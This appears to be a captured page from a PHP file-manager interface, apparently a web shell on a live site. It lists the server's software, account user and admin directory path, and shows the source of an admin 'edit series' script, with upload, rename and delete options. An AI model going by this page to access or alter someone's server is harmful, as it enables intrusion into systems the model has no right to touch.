Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.19.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u802471691

Directory:

/home/u802471691/domains/thetechnozone.in/public_html/admin

Free Space:

9.31 TB

🔧 Quick Actions

✏️ Editing: edit_series.php

<?php
include '../db.php';

$message = '';
$series = null;
$is_edit = false;

if (isset($_GET['id'])) {
    $is_edit = true;
    $id = intval($_GET['id']);
    $sql = "SELECT * FROM series WHERE id = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("i", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    if ($result->num_rows > 0) {
        $series = $result->fetch_assoc();
    } else {
        $message = "Series not found.";
    }
    $stmt->close();
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $category_id = intval($_POST['category_id']);
    $brand_id = intval($_POST['brand_id']);
    $name = trim($_POST['name']);

if (empty($name) || empty($category_id) || empty($brand_id)) {
        $message = "All fields are required.";
    } else {
        $sql = "UPDATE series SET category_id = ?, brand_id = ?, name = ? WHERE id = ?";
        $stmt = $conn->prepare($sql);
        $stmt->bind_param("iisi", $category_id, $brand_id, $name, $id);
        if ($stmt->execute()) {
            header("Location: manage_series.php");
            exit();
        } else {
            $message = "Error: " . $stmt->error;
        }
        $stmt->close();
    }
}

include 'header.php';
?>

<?php if ($message): ?>
        <div class="mb-4 p-4 rounded <?php echo strpos($message, 'successfully') !== false ? 'bg-green-100 text-green-700' : 'bg-red-100 text-red-700'; ?>">
            <?php echo $message; ?>
        </div>
    <?php endif; ?>

<form method="POST">
        <div class="mb-4">
            <label for="category_id" class="block text-gray-700 font-bold mb-2">Category</label>
            <select id="category_id" name="category_id" class="w-full px-3 py-2 border border-gray-300 rounded focus:outline-none focus:ring-2 focus:ring-red-500" required>
                <option value="">Select Category</option>
                <?php
                $cat_sql = "SELECT id, name FROM categories ORDER BY name";
                $cat_result = $conn->query($cat_sql);
                while($cat_row = $cat_result->fetch_assoc()) {
                    $selected = $is_edit && $series['category_id'] == $cat_row['id'] ? 'selected' : '';
                    echo "<option value='{$cat_row['id']}' $selected>{$cat_row['name']}</option>";
                }
                ?>
            </select>
        </div>
        <div class="mb-4">
            <label for="brand_id" class="block text-gray-700 font-bold mb-2">Brand</label>
            <select id="brand_id" name="brand_id" class="w-full px-3 py-2 border border-gray-300 rounded focus:outline-none focus:ring-2 focus:ring-red-500" required>
                <option value="">Select Brand</option>
                <?php
                $brand_sql = "SELECT id, name FROM brands ORDER BY name";
                $brand_result = $conn->query($brand_sql);
                while($brand_row = $brand_result->fetch_assoc()) {
                    $selected = $is_edit && $series['brand_id'] == $brand_row['id'] ? 'selected' : '';
                    echo "<option value='{$brand_row['id']}' $selected>{$brand_row['name']}</option>";
                }
                ?>
            </select>
        </div>
        <div class="mb-4">
            <label for="name" class="block text-gray-700 font-bold mb-2">Series Name</label>
            <input type="text" id="name" name="name" value="<?php echo $is_edit ? htmlspecialchars($series['name']) : ''; ?>" class="w-full px-3 py-2 border border-gray-300 rounded focus:outline-none focus:ring-2 focus:ring-red-500" required>
        </div>

<div class="flex justify-end space-x-4">
            <a href="manage_series.php" class="bg-gray-500 text-white px-4 py-2 rounded hover:bg-gray-600 transition">Cancel</a>
            <button type="submit" class="bg-red-900 text-white px-4 py-2 rounded hover:bg-red-800 transition">
                <i class="fa-solid fa-save mr-2"></i> <?php echo $is_edit ? 'Update Series' : 'Add Series'; ?>
            </button>
        </div>
    </form>
</div>

<?php include 'footer.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: edit_series.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation